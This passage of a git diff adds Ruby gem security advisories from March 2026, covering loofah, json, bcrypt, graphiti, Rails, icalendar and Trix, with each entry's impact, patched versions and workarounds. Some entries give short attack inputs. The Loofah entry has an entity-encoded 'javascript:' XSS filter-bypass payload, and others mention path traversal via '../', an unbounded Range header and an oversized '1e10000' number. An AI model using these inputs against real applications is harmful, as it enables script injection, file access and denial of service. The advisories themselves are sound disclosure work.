+ - In unauthenticated setups: exploitable via crafted links sent to users.
+ - In authenticated setups: limited to authenticated users and
+ requires interaction.
+ cvss_v4: 5.3
+ patched_versions:
+ - ">= 3.30.3"
+ related:
+ url:
+ - https://github.com/avo-hq/avo/security/advisories/GHSA-762r-27w2-q22j
+ - https://github.com/advisories/GHSA-762r-27w2-q22j
+---
diff --git a/advisories/_posts/2026-03-18-GHSA-46fp-8f5p-pf2m.md b/advisories/_posts/2026-03-18-GHSA-46fp-8f5p-pf2m.md
new file mode 100644
index 00000000..42ab1c64
--- /dev/null
+++ b/advisories/_posts/2026-03-18-GHSA-46fp-8f5p-pf2m.md
@@ -0,0 +1,63 @@
+---
+layout: advisory
+title: 'GHSA-46fp-8f5p-pf2m (loofah): Improper detection of disallowed URIs by Loofah
+ `allowed_uri?`'
+comments: false
+categories:
+- loofah
+advisory:
+ gem: loofah
+ ghsa: 46fp-8f5p-pf2m
+ url: https://github.com/flavorjones/loofah/security/advisories/GHSA-46fp-8f5p-pf2m
+ title: Improper detection of disallowed URIs by Loofah `allowed_uri?`
+ date: 2026-03-18
+ description: |-
+ ## Summary
+
+ `Loofah::HTML5::Scrub.allowed_uri?` does not correctly reject
+ `javascript:` URIs when the scheme is split by HTML entity-encoded
+ control characters such as `
` (carriage return), `
`
+ (line feed), or ` ` (tab).
+
+ ## Details
+
+ The `allowed_uri?` method strips literal control characters before
+ decoding HTML entities. Payloads like `java
script:alert(1)`
+ survive the control character strip, then `
` is decoded to
+ a carriage return, producing `java\rscript:alert(1)`.
+
+ Note that the Loofah sanitizer's default `sanitize()` path is
+ **not affected** because Nokogiri decodes HTML entities during
+ parsing before Loofah evaluates the URI protocol. This issue only
+ affects direct callers of the `allowed_uri?` string-level helper
+ when passing HTML-encoded strings.
+
+ ## Impact
+
+ Applications that call `Loofah::HTML5::Scrub.allowed_uri?` to
+ validate user-controlled URLs and then render approved URLs into
+ `href` or other browser-interpreted URI attributes may be
+ vulnerable to cross-site scripting (XSS).
+
+ This only affects Loofah `2.25.0`.
+
+ ## Mitigation
+
+ Upgrade to Loofah >= `2.25.1`.
+
+ ## Credit
+
+ Responsibly reported by HackOne user `@smlee`.
+ cvss_v4: 2.7
+ unaffected_versions:
+ - "< 2.25.0"
+ patched_versions:
+ - ">= 2.25.1"
+ related:
+ url:
+ - https://github.com/flavorjones/loofah/security/advisories/GHSA-46fp-8f5p-pf2m
+ - https://github.com/flavorjones/loofah/releases/tag/v2.25.1
+ - https://github.com/flavorjones/loofah/commit/f4ebc9c5193dde759a57541062e490e86fc7c068
+ - https://github.com/advisories/GHSA-2j22-pr5w-6gq8
+ - https://github.com/advisories/GHSA-46fp-8f5p-pf2m
+---
diff --git a/advisories/_posts/2026-03-19-CVE-2026-33210.md b/advisories/_posts/2026-03-19-CVE-2026-33210.md
new file mode 100644
index 00000000..74a1b17b
--- /dev/null
+++ b/advisories/_posts/2026-03-19-CVE-2026-33210.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'CVE-2026-33210 (json): Ruby JSON has a format string injection vulnerability'
+comments: false
+categories:
+- json
+advisory:
+ gem: json
+ cve: 2026-33210
+ ghsa: 3m6g-2423-7cp3
+ url: https://github.com/ruby/json/security/advisories/GHSA-3m6g-2423-7cp3
+ title: Ruby JSON has a format string injection vulnerability
+ date: 2026-03-19
+ description: |-
+ ### Impact
+
+ A format string injection vulnerability than that lead to denial of
+ service attacks or information disclosure, when the `allow_duplicate_key:
+ false` parsing option is used to parse user supplied documents.
+
+ This option isn't the default, if you didn't opt-in to use it,
+ you are not impacted.
+
+ ### Patches
+
+ Patched in `2.19.2`.
+
+ ### Workarounds
+
+ The issue can be avoided by not using the `allow_duplicate_key: false`
+ parsing option.
+ cvss_v4: 8.3
+ unaffected_versions:
+ - "< 2.14.0"
+ patched_versions:
+ - "~> 2.15.2.1"
+ - "~> 2.17.1.2"
+ - ">= 2.19.2"
+ related:
+ url:
+ - https://github.com/ruby/json/security/advisories/GHSA-3m6g-2423-7cp3
+ - https://github.com/advisories/GHSA-3m6g-2423-7cp3
+---
diff --git a/advisories/_posts/2026-03-19-CVE-2026-33306.md b/advisories/_posts/2026-03-19-CVE-2026-33306.md
new file mode 100644
index 00000000..e14870b9
--- /dev/null
+++ b/advisories/_posts/2026-03-19-CVE-2026-33306.md
@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'CVE-2026-33306 (bcrypt): bcrypt-ruby has an Integer Overflow that Causes Zero
+ Key-Strengthening Iterations at Cost=31 on JRuby'
+comments: false
+categories:
+- bcrypt
+advisory:
+ gem: bcrypt
+ cve: 2026-33306
+ ghsa: f27w-vcwj-c954
+ url: https://github.com/advisories/GHSA-f27w-vcwj-c954
+ title: bcrypt-ruby has an Integer Overflow that Causes Zero Key-Strengthening Iterations
+ at Cost=31 on JRuby
+ date: 2026-03-19
+ description: |-
+ ### Impact
+
+ An integer overflow in the Java BCrypt implementation for JRuby can
+ cause zero iterations in the strengthening loop. Impacted
+ applications must be setting the cost to 31 to see this happen.
+
+ The JRuby implementation of bcrypt-ruby (`BCrypt.java`) computes
+ the key-strengthening round count as a signed 32-bit integer.
+ When `cost=31` (the maximum allowed by the gem), signed integer
+ overflow causes the round count to become negative, and the
+ strengthening loop executes **zero iterations**. This collapses
+ bcrypt from 2^31 rounds of exponential key-strengthening to
+ effectively constant-time computation — only the initial
+ EksBlowfish key setup and final 64x encryption phase remain.
+
+ The resulting hash looks valid (`$2a$31$...`) and verifies
+ correctly via `checkpw`, making the weakness invisible to the
+ application. This issue is triggered only when cost=31 is
+ used or when verifying a `$2a$31$` hash.
+
+ ### Patches
+
+ This problem has been fixed in version 3.1.22
+
+ ### Workarounds
+
+ Set the cost to something less than 31.
+ cvss_v4: 4.5
+ patched_versions:
+ - ">= 3.1.22"
+ related:
+ url:
+ - https://github.com/bcrypt-ruby/bcrypt-ruby/security/advisories/GHSA-f27w-vcwj-c954
+ - https://github.com/bcrypt-ruby/bcrypt-ruby/commit/5faa2748331d3edc661c127ef2fbb3afcb6b02a4
+ - https://github.com/advisories/GHSA-f27w-vcwj-c954
+---
diff --git a/advisories/_posts/2026-03-20-CVE-2026-33286.md b/advisories/_posts/2026-03-20-CVE-2026-33286.md
new file mode 100644
index 00000000..4c0c3df2
--- /dev/null
+++ b/advisories/_posts/2026-03-20-CVE-2026-33286.md
@@ -0,0 +1,61 @@
+---
+layout: advisory
+title: 'CVE-2026-33286 (graphiti): Graphiti Affected by Arbitrary Method Execution
+ via Unvalidated Relationship Names'
+comments: false
+categories:
+- graphiti
+advisory:
+ gem: graphiti
+ cve: 2026-33286
+ ghsa: 3m5v-4xp5-gjg2
+ url: https://github.com/graphiti-api/graphiti/security/advisories/GHSA-3m5v-4xp5-gjg2
+ title: Graphiti Affected by Arbitrary Method Execution via Unvalidated Relationship
+ Names
+ date: 2026-03-20
+ description: |-
+ ### Summary
+
+ An arbitrary method execution vulnerability has been found which
+ affects Graphiti's JSONAPI write functionality. An attacker can
+ craft a malicious JSONAPI payload with arbitrary relationship
+ names to invoke any public method on the underlying model
+ instance, class or its associations.
+
+ ### Impact
+
+ Any application exposing Graphiti write endpoints (create/update/delete)
+ to untrusted users is affected.
+
+ The `Graphiti::Util::ValidationResponse#all_valid?` method recursively
+ calls `model.send(name)` using relationship names taken directly from
+ user-supplied JSONAPI payloads, without validating them against the
+ resource's configured sideloads. This allows an attacker to potentially
+ run any public method on a given model instance, on the instance class
+ or associated instances or classes, including destructive operations.
+
+ ### Patches
+
+ This is patched in Graphiti **v1.10.2**.
+ Users should upgrade as soon as possible.
+
+ ### Workarounds
+
+ If upgrading to v1.10.2 is not immediately possible, consider one
+ or more of the following mitigations:
+
+ - **Restrict write access**: Ensure Graphiti write endpoints
+ (create/update/delete) are not accessible to untrusted users.
+ - **Authentication & authorisation**: Apply strong authentication
+ and authorisation checks before any write operation is processed,
+ for example use Rails strong parameters to ensure only valid
+ parameters are processed."
+ cvss_v3: 9.1
+ patched_versions:
+ - ">= 1.10.2"
+ related:
+ url:
+ - https://github.com/graphiti-api/graphiti/security/advisories/GHSA-3m5v-4xp5-gjg2
+ - https://gitlab.com/gitlab-org/security-products/gemnasium-db/-/blob/master/gem/graphiti/CVE-2026-33286.yml
+ - https://github.com/advisories/GHSA-3m5v-4xp5-gjg2
+---
diff --git a/advisories/_posts/2026-03-23-CVE-2026-33167.md b/advisories/_posts/2026-03-23-CVE-2026-33167.md
new file mode 100644
index 00000000..b1eb6e76
--- /dev/null
+++ b/advisories/_posts/2026-03-23-CVE-2026-33167.md
@@ -0,0 +1,37 @@
+---
+layout: advisory
+title: 'CVE-2026-33167 (actionpack): Rails has a possible XSS vulnerability in its
+ Action Pack debug exceptions'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+ gem: actionpack
+ framework: rails
+ cve: 2026-33167
+ ghsa: pgm4-439c-5jp6
+ url: https://github.com/rails/rails/security/advisories/GHSA-pgm4-439c-5jp6
+ title: Rails has a possible XSS vulnerability in its Action Pack debug exceptions
+ date: 2026-03-23
+ description: |-
+ ### Impact
+ The debug exceptions page does not properly escape exception messages.
+ A carefully crafted exception message could inject arbitrary HTML and JavaScript into the page, leading to XSS.
+ This affects applications with detailed exception pages enabled (`config.consider_all_requests_local = true`),
+ which is the default in development.
+
+ ### Releases
+ The fixed releases are available at the normal locations.
+ cvss_v4: 1.3
+ unaffected_versions:
+ - "< 8.1.0"
+ patched_versions:
+ - ">= 8.1.2.1"
+ related:
+ url:
+ - https://github.com/rails/rails/security/advisories/GHSA-pgm4-439c-5jp6
+ - https://github.com/rails/rails/commit/6752711c8c31d79ba50d13af6a6698a3b85415e0
+ - https://github.com/rails/rails/releases/tag/v8.1.2.1
+ - https://github.com/advisories/GHSA-pgm4-439c-5jp6
+---
diff --git a/advisories/_posts/2026-03-23-CVE-2026-33168.md b/advisories/_posts/2026-03-23-CVE-2026-33168.md
new file mode 100644
index 00000000..a4e90d05
--- /dev/null
+++ b/advisories/_posts/2026-03-23-CVE-2026-33168.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2026-33168 (actionview): Rails has a possible XSS vulnerability in its
+ Action View tag helpers'
+comments: false
+categories:
+- actionview
+- rails
+advisory:
+ gem: actionview
+ framework: rails
+ cve: 2026-33168
+ ghsa: v55j-83pf-r9cq
+ url: https://github.com/rails/rails/security/advisories/GHSA-v55j-83pf-r9cq
+ title: Rails has a possible XSS vulnerability in its Action View tag helpers
+ date: 2026-03-23
+ description: |-
+ ### Impact
+ When a blank string is used as an HTML attribute name in Action View tag helpers,
+ the attribute escaping is bypassed, producing malformed HTML.
+ A carefully crafted attribute value could then be misinterpreted by the browser as a separate attribute name,
+ possibly leading to XSS. Applications that allow users to specify custom HTML attributes are affected.
+
+ ### Releases
+ The fixed releases are available at the normal locations.
+ cvss_v4: 2.3
+ patched_versions:
+ - "~> 7.2.3, >= 7.2.3.1"
+ - "~> 8.0.4, >= 8.0.4.1"
+ - ">= 8.1.2.1"
+ related:
+ url:
+ - https://github.com/rails/rails/security/advisories/GHSA-v55j-83pf-r9cq
+ - https://github.com/rails/rails/commit/0b6f8002b52b9c606fd6be9e7915d9f944cf539c
+ - https://github.com/rails/rails/commit/63f5ad83edaa0b976f82d46988d745426aa4a42d
+ - https://github.com/rails/rails/commit/c79a07df1e88738df8f68cb0ee759ad6128ca924
+ - https://github.com/rails/rails/releases/tag/v7.2.3.1
+ - https://github.com/rails/rails/releases/tag/v8.0.4.1
+ - https://github.com/rails/rails/releases/tag/v8.1.2.1
+ - https://github.com/advisories/GHSA-v55j-83pf-r9cq
+---
diff --git a/advisories/_posts/2026-03-23-CVE-2026-33169.md b/advisories/_posts/2026-03-23-CVE-2026-33169.md
new file mode 100644
index 00000000..359f7184
--- /dev/null
+++ b/advisories/_posts/2026-03-23-CVE-2026-33169.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2026-33169 (activesupport): Rails Active Support has a possible ReDoS
+ vulnerability in number_to_delimited'
+comments: false
+categories:
+- activesupport
+- rails
+advisory:
+ gem: activesupport
+ framework: rails
+ cve: 2026-33169
+ ghsa: cg4j-q9v8-6v38
+ url: https://github.com/rails/rails/security/advisories/GHSA-cg4j-q9v8-6v38
+ title: Rails Active Support has a possible ReDoS vulnerability in number_to_delimited
+ date: 2026-03-23
+ description: |-
+ ### Impact
+ `NumberToDelimitedConverter` used a regular expression with `gsub!` to insert thousands delimiters.
+ This could produce quadratic time complexity on long digit strings.
+
+ ### Releases
+ The fixed releases are available at the normal locations.
+ cvss_v4: 6.9
+ patched_versions:
+ - "~> 7.2.3, >= 7.2.3.1"
+ - "~> 8.0.4, >= 8.0.4.1"
+ - ">= 8.1.2.1"
+ related:
+ url:
+ - https://github.com/rails/rails/security/advisories/GHSA-cg4j-q9v8-6v38
+ - https://github.com/rails/rails/commit/29154f1097da13d48fdb3200760b3e3da66dcb11
+ - https://github.com/rails/rails/commit/b54a4b373c6f042cab6ee2033246b1c9ecc38974
+ - https://github.com/rails/rails/commit/ec1a0e215efd27a3b3911aae6df978a80f456a49
+ - https://github.com/rails/rails/releases/tag/v7.2.3.1
+ - https://github.com/rails/rails/releases/tag/v8.0.4.1
+ - https://github.com/rails/rails/releases/tag/v8.1.2.1
+ - https://github.com/advisories/GHSA-cg4j-q9v8-6v38
+---
diff --git a/advisories/_posts/2026-03-23-CVE-2026-33170.md b/advisories/_posts/2026-03-23-CVE-2026-33170.md
new file mode 100644
index 00000000..a1915659
--- /dev/null
+++ b/advisories/_posts/2026-03-23-CVE-2026-33170.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2026-33170 (activesupport): Rails Active Support has a possible XSS vulnerability
+ in SafeBuffer#%'
+comments: false
+categories:
+- activesupport
+- rails
+advisory:
+ gem: activesupport
+ framework: rails
+ cve: 2026-33170
+ ghsa: 89vf-4333-qx8v
+ url: https://github.com/rails/rails/security/advisories/GHSA-89vf-4333-qx8v
+ title: Rails Active Support has a possible XSS vulnerability in SafeBuffer#%
+ date: 2026-03-23
+ description: |-
+ ### Impact
+ `SafeBuffer#%` does not propagate the `@html_unsafe` flag to the newly created buffer.
+ If a `SafeBuffer` is mutated in place (e.g. via `gsub!`) and then formatted with `%` using untrusted arguments,
+ the result incorrectly reports `html_safe? == true`, bypassing ERB auto-escaping and possibly leading to XSS.
+
+ ### Releases
+ The fixed releases are available at the normal locations.
+ cvss_v4: 5.3
+ patched_versions:
+ - "~> 7.2.3, >= 7.2.3.1"
+ - "~> 8.0.4, >= 8.0.4.1"
+ - ">= 8.1.2.1"
+ related:
+ url:
+ - https://github.com/rails/rails/security/advisories/GHSA-89vf-4333-qx8v
+ - https://github.com/rails/rails/commit/50d732af3b7c8aaf63cbcca0becbc00279b215b7
+ - https://github.com/rails/rails/commit/6e8a81108001d58043de9e54a06fca58962fc2db
+ - https://github.com/rails/rails/commit/c1ad0e8e1972032f3395853a5e99cea035035beb
+ - https://github.com/rails/rails/releases/tag/v7.2.3.1
+ - https://github.com/rails/rails/releases/tag/v8.0.4.1
+ - https://github.com/rails/rails/releases/tag/v8.1.2.1
+ - https://github.com/advisories/GHSA-89vf-4333-qx8v
+---
diff --git a/advisories/_posts/2026-03-23-CVE-2026-33173.md b/advisories/_posts/2026-03-23-CVE-2026-33173.md
new file mode 100644
index 00000000..bd2f2981
--- /dev/null
+++ b/advisories/_posts/2026-03-23-CVE-2026-33173.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2026-33173 (activestorage): Rails Active Storage has possible content
+ type bypass via metadata in direct uploads'
+comments: false
+categories:
+- activestorage
+- rails
+advisory:
+ gem: activestorage
+ framework: rails
+ cve: 2026-33173
+ ghsa: qcfx-2mfw-w4cg
+ url: https://github.com/rails/rails/security/advisories/GHSA-qcfx-2mfw-w4cg
+ title: Rails Active Storage has possible content type bypass via metadata in direct
+ uploads
+ date: 2026-03-23
+ description: |-
+ ### Impact
+ Active Storage's `DirectUploadsController` accepts arbitrary metadata from the client and persists it on the blob.
+ Because internal flags like `identified` and `analyzed` are stored in the same metadata hash,
+ a malicious direct-upload client could set these flags.
+
+ ### Releases
+ The fixed releases are available at the normal locations.
+ cvss_v4: 5.3
+ patched_versions:
+ - "~> 7.2.3, >= 7.2.3.1"
+ - "~> 8.0.4, >= 8.0.4.1"
+ - ">= 8.1.2.1"
+ related:
+ url:
+ - https://github.com/rails/rails/security/advisories/GHSA-qcfx-2mfw-w4cg
+ - https://github.com/rails/rails/commit/707c0f1f41f067fdf96d54e99d43b28dfaae7e53
+ - https://github.com/rails/rails/commit/8fcb934caadc79c8cc4ce53287046d0f67005b3e
+ - https://github.com/rails/rails/commit/d9502f5214e2198245a4c1defe9cd02a7c8057d0
+ - https://github.com/rails/rails/releases/tag/v7.2.3.1
+ - https://github.com/rails/rails/releases/tag/v8.0.4.1
+ - https://github.com/rails/rails/releases/tag/v8.1.2.1
+ - https://github.com/advisories/GHSA-qcfx-2mfw-w4cg
+---
diff --git a/advisories/_posts/2026-03-23-CVE-2026-33174.md b/advisories/_posts/2026-03-23-CVE-2026-33174.md
new file mode 100644
index 00000000..3b83bc17
--- /dev/null
+++ b/advisories/_posts/2026-03-23-CVE-2026-33174.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2026-33174 (activestorage): Rails Active Storage has a possible DoS vulnerability
+ when in proxy mode via Range requests'
+comments: false
+categories:
+- activestorage
+- rails
+advisory:
+ gem: activestorage
+ framework: rails
+ cve: 2026-33174
+ ghsa: r46p-8f7g-vvvg
+ url: https://github.com/rails/rails/security/advisories/GHSA-r46p-8f7g-vvvg
+ title: Rails Active Storage has a possible DoS vulnerability when in proxy mode
+ via Range requests
+ date: 2026-03-23
+ description: |-
+ ### Impact
+ When serving files through Active Storage's `Blobs::ProxyController`,
+ the controller loads the entire requested byte range into memory before sending it.
+ A request with a large or unbounded Range header (e.g. `bytes=0-`) could cause the server
+ to allocate memory proportional to the file size, possibly resulting in a DoS vulnerability through memory exhaustion.
+
+ ### Releases
+ The fixed releases are available at the normal locations.
+ cvss_v4: 6.6
+ patched_versions:
+ - "~> 7.2.3, >= 7.2.3.1"
+ - "~> 8.0.4, >= 8.0.4.1"
+ - ">= 8.1.2.1"
+ related:
+ url:
+ - https://github.com/rails/rails/security/advisories/GHSA-r46p-8f7g-vvvg
+ - https://github.com/rails/rails/commit/2cd933c366b777f873d4d590127da2f4a25e4ba5
+ - https://github.com/rails/rails/commit/42012eaaa88dfc7d0030161b2bc8074a7bbce92a
+ - https://github.com/rails/rails/commit/8159a9c3de3f27a2bcf2866b8bf9ceb9075e229b
+ - https://github.com/rails/rails/releases/tag/v7.2.3.1
+ - https://github.com/rails/rails/releases/tag/v8.0.4.1
+ - https://github.com/rails/rails/releases/tag/v8.1.2.1
+ - https://github.com/advisories/GHSA-r46p-8f7g-vvvg
+---
diff --git a/advisories/_posts/2026-03-23-CVE-2026-33176.md b/advisories/_posts/2026-03-23-CVE-2026-33176.md
new file mode 100644
index 00000000..b66a8bcb
--- /dev/null
+++ b/advisories/_posts/2026-03-23-CVE-2026-33176.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2026-33176 (activesupport): Rails Active Support has a possible DoS vulnerability
+ in its number helpers'
+comments: false
+categories:
+- activesupport
+- rails
+advisory:
+ gem: activesupport
+ framework: rails
+ cve: 2026-33176
+ ghsa: 2j26-frm8-cmj9
+ url: https://github.com/rails/rails/security/advisories/GHSA-2j26-frm8-cmj9
+ title: Rails Active Support has a possible DoS vulnerability in its number helpers
+ date: 2026-03-23
+ description: |-
+ ### Impact
+ Active Support number helpers accept strings containing scientific notation (e.g. `1e10000`),
+ which when converted to a string could be expanded into extremely large decimal representations.
+ This can cause excessive memory allocation and CPU consumption when the expanded number is formatted,
+ possibly resulting in a DoS vulnerability.
+
+ ### Releases
+ The fixed releases are available at the normal locations.
+ cvss_v4: 6.6
+ patched_versions:
+ - "~> 7.2.3, >= 7.2.3.1"
+ - "~> 8.0.4, >= 8.0.4.1"
+ - ">= 8.1.2.1"
+ related:
+ url:
+ - https://github.com/rails/rails/security/advisories/GHSA-2j26-frm8-cmj9
+ - https://github.com/rails/rails/commit/19dbab51ca086a657bb86458042bc44314916bcb
+ - https://github.com/rails/rails/commit/ebd6be18120d1136511eb516338e27af25ac0a1a
+ - https://github.com/rails/rails/commit/ee2c59e730e5b8faed502cd2c573109df093f856
+ - https://github.com/rails/rails/releases/tag/v7.2.3.1
+ - https://github.com/rails/rails/releases/tag/v8.0.4.1
+ - https://github.com/rails/rails/releases/tag/v8.1.2.1
+ - https://github.com/advisories/GHSA-2j26-frm8-cmj9
+---
diff --git a/advisories/_posts/2026-03-23-CVE-2026-33195.md b/advisories/_posts/2026-03-23-CVE-2026-33195.md
new file mode 100644
index 00000000..4bf41ddc
--- /dev/null
+++ b/advisories/_posts/2026-03-23-CVE-2026-33195.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'CVE-2026-33195 (activestorage): Rails Active Storage has possible Path Traversal
+ in DiskService'
+comments: false
+categories:
+- activestorage
+- rails
+advisory:
+ gem: activestorage
+ framework: rails
+ cve: 2026-33195
+ ghsa: 9xrj-h377-fr87
+ url: https://github.com/rails/rails/security/advisories/GHSA-9xrj-h377-fr87
+ title: Rails Active Storage has possible Path Traversal in DiskService
+ date: 2026-03-23
+ description: |-
+ ### Impact
+ Active Storage's `DiskService#path_for` does not validate that the
+ resolved filesystem path remains within the storage root directory.
+ If a blob key containing path traversal sequences (e.g. `../`) is used,
+ it could allow reading, writing, or deleting arbitrary files on the server.
+ Blob keys are expected to be trusted strings,
+ but some applications could be passing user input as keys and would be affected.
+
+ ### Releases
+ The fixed releases are available at the normal locations.
+ cvss_v4: 8.0
+ patched_versions:
+ - "~> 7.2.3, >= 7.2.3.1"
+ - "~> 8.0.4, >= 8.0.4.1"
+ - ">= 8.1.2.1"
+ related:
+ url:
+ - https://github.com/rails/rails/security/advisories/GHSA-9xrj-h377-fr87
+ - https://github.com/rails/rails/commit/4933c1e3b8c1bb04925d60347be9f69270392f2c
+ - https://github.com/rails/rails/commit/9b06fbc0f504b8afe333f33d19548f3b85fbe655
+ - https://github.com/rails/rails/commit/a290c8a1ec189d793aa6d7f2570b6a763f675348
+ - https://github.com/rails/rails/releases/tag/v7.2.3.1
+ - https://github.com/rails/rails/releases/tag/v8.0.4.1
+ - https://github.com/rails/rails/releases/tag/v8.1.2.1
+ - https://github.com/advisories/GHSA-9xrj-h377-fr87
+---
diff --git a/advisories/_posts/2026-03-23-CVE-2026-33202.md b/advisories/_posts/2026-03-23-CVE-2026-33202.md
new file mode 100644
index 00000000..3896d79b
--- /dev/null
+++ b/advisories/_posts/2026-03-23-CVE-2026-33202.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2026-33202 (activestorage): Rails Active Storage has possible glob injection
+ in its DiskService'
+comments: false
+categories:
+- activestorage
+- rails
+advisory:
+ gem: activestorage
+ framework: rails
+ cve: 2026-33202
+ ghsa: 73f9-jhhh-hr5m
+ url: https://github.com/rails/rails/security/advisories/GHSA-73f9-jhhh-hr5m
+ title: Rails Active Storage has possible glob injection in its DiskService
+ date: 2026-03-23
+ description: |-
+ ### Impact
+ Active Storage's `DiskService#delete_prefixed` passes blob keys directly to `Dir.glob` without escaping glob metacharacters.
+ If a blob key contains attacker-controlled input or custom-generated keys with glob metacharacters,
+ it may be possible to delete unintended files from the storage directory.
+
+ ### Releases
+ The fixed releases are available at the normal locations.
+ cvss_v4: 6.6
+ patched_versions:
+ - "~> 7.2.3, >= 7.2.3.1"
+ - "~> 8.0.4, >= 8.0.4.1"
+ - ">= 8.1.2.1"
+ related:
+ url:
+ - https://github.com/rails/rails/security/advisories/GHSA-73f9-jhhh-hr5m
+ - https://github.com/rails/rails/commit/8c9676b803820110548cdb7523800db43bc6874c
+ - https://github.com/rails/rails/commit/955284d26e469a9c026a4eee5b21f0414ab0bccf
+ - https://github.com/rails/rails/commit/fa19073546360856e9f4dab221fc2c5d73a45e82
+ - https://github.com/rails/rails/releases/tag/v7.2.3.1
+ - https://github.com/rails/rails/releases/tag/v8.0.4.1
+ - https://github.com/rails/rails/releases/tag/v8.1.2.1
+---
diff --git a/advisories/_posts/2026-03-24-CVE-2026-33635.md b/advisories/_posts/2026-03-24-CVE-2026-33635.md
new file mode 100644
index 00000000..d1bc8753
--- /dev/null
+++ b/advisories/_posts/2026-03-24-CVE-2026-33635.md
@@ -0,0 +1,59 @@
+---
+layout: advisory
+title: 'CVE-2026-33635 (icalendar): iCalendar has ICS injection via unsanitized URI
+ property values'
+comments: false
+categories:
+- icalendar
+advisory:
+ gem: icalendar
+ cve: 2026-33635
+ ghsa: pv9c-9mfh-hvxq
+ url: https://github.com/icalendar/icalendar/security/advisories/GHSA-pv9c-9mfh-hvxq
+ title: iCalendar has ICS injection via unsanitized URI property values
+ date: 2026-03-24
+ description: |-
+ ### Summary
+
+ .ics serialization does not properly sanitize URI property values,
+ enabling ICS injection through attacker-controlled input, adding
+ arbitrary calendar lines to the output.
+
+ ### Details
+
+ `Icalendar::Values::Uri` falls back to the raw input string when
+ `URI.parse` fails and later serializes it with `value.to_s` without
+ removing or escaping `\r` or `\n` characters. That value is embedded
+ directly into the final ICS line by the normal serializer, so a
+ payload containing CRLF can terminate the original property and
+ create a new ICS property or component. (It looks like you can
+ inject via url, source, image, organizer, attach, attendee,
+ conference, tzurl because of this)
+
+ Relevant code:
+ - `lib/icalendar/values/uri.rb:16`
+
+ ### Impact
+
+ Applications that generate `.ics` files from partially untrusted
+ metadata are impacted. As a result, downstream calendar clients
+ or importers may process attacker-supplied content as if it were
+ legitimate event data, such as added attendees, modified URLs,
+ alarms, or other calendar fields.
+
+ ## Fix
+
+ Reject raw CR and LF characters in `URI`-typed values before
+ serialization, or escape/encode them so they cannot terminate
+ the current ICS content line.
+ cvss_v3: 4.3
+ unaffected_versions:
+ - "< 2.0.0"
+ patched_versions:
+ - ">= 2.12.2"
+ related:
+ url:
+ - https://github.com/icalendar/icalendar/security/advisories/GHSA-pv9c-9mfh-hvxq
+ - https://github.com/icalendar/icalendar/commit/b8d23b490363ee5fffaec1d269a8618a912ca265
+ - https://github.com/advisories/GHSA-pv9c-9mfh-hvxq
+---
diff --git a/advisories/_posts/2026-03-25-CVE-2026-33658.md b/advisories/_posts/2026-03-25-CVE-2026-33658.md
new file mode 100644
index 00000000..5963ea86
--- /dev/null
+++ b/advisories/_posts/2026-03-25-CVE-2026-33658.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2026-33658 (activestorage): Rails Active Storage has a possible DoS vulnerability
+ in proxy mode via multi-range requests'
+comments: false
+categories:
+- activestorage
+- rails
+advisory:
+ gem: activestorage
+ framework: rails
+ cve: 2026-33658
+ ghsa: p9fm-f462-ggrg
+ url: https://github.com/rails/rails/security/advisories/GHSA-p9fm-f462-ggrg
+ title: Rails Active Storage has a possible DoS vulnerability in proxy mode via multi-range
+ requests
+ date: 2026-03-25
+ description: |-
+ ## Impact
+
+ Active Storage’s proxy controller does not limit the number of byte
+ ranges in an HTTP Range header. A request with thousands of small
+ ranges causes disproportionate CPU usage compared to a normal
+ request for the same file, possibly resulting in a DoS vulnerability.
+ cvss_v3: 6.5
+ cvss_v4: 2.3
+ patched_versions:
+ - "~> 7.2.3, >= 7.2.3.1"
+ - "~> 8.0.4, >= 8.0.4.1"
+ - ">= 8.1.2.1"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-33658
+ - https://discuss.rubyonrails.org/t/cve-2026-33658-possible-dos-vulnerability-in-active-storage-proxy-mode-via-multi-range-requests/90906
+ - https://rubyonrails.org/2026/3/23/Rails-Versions-7-2-3-1-8-0-4-1-and-8-1-2-1-have-been-released
+ - https://github.com/rails/rails/commit/85ec5b1e00d3197d8c69a5e622e1b398a1b10b06.patch
+ - https://github.com/rails/rails/commit/d7da4ef03f99035fba5add8828646f1e9173549c.patch
+ - https://github.com/rails/rails/commit/b8a1665824a43d71cd6406cf9adcae842ceb1c22.patch
+ - https://github.com/rails/rails/security/advisories/GHSA-p9fm-f462-ggrg
+ - https://github.com/advisories/GHSA-p9fm-f462-ggrg
+---
diff --git a/advisories/_posts/2026-03-26-GHSA-53g2-mvcc-q9x3.md b/advisories/_posts/2026-03-26-GHSA-53g2-mvcc-q9x3.md
new file mode 100644
index 00000000..2e68c207
--- /dev/null
+++ b/advisories/_posts/2026-03-26-GHSA-53g2-mvcc-q9x3.md
@@ -0,0 +1,58 @@
+---
+layout: advisory
+title: 'GHSA-53g2-mvcc-q9x3 (action_text-trix): Stored XSS via HTMLParser attribute
+ injection on paste'
+comments: false
+categories:
+- action_text-trix
+advisory:
+ gem: action_text-trix
+ ghsa: 53g2-mvcc-q9x3
+ url: https://github.com/basecamp/trix/security/advisories/GHSA-53g2-mvcc-q9x3
+ title: Stored XSS via HTMLParser attribute injection on paste
+ date: 2026-03-26
+ description: |-
+ ## Impact
+
+ The Trix editor, in versions prior to 2.1.18, is vulnerable to XSS
+ when crafted HTML is pasted into the editor. The HTMLParser processed
+ a mock attachment, a carrying an empty data-trix-attachment="{}".
+ The empty attachment object caused the element to bypass attachment
+ handling, so its data-trix-attributes were applied to a plain string
+ piece. The pre-2.1.18 StringPiece.fromJSON accepted the href without
+ validation, so an attacker-supplied javascript: URI was carried into
+ the document model and emitted verbatim into the serialized HTML,
+ executing when the content was rendered and clicked.
+
+ This is a stored XSS in any application that accepts untrusted rich
+ text through Trix and renders the serialized output to other users.
+ Applications that apply server-side HTML sanitization, such as the
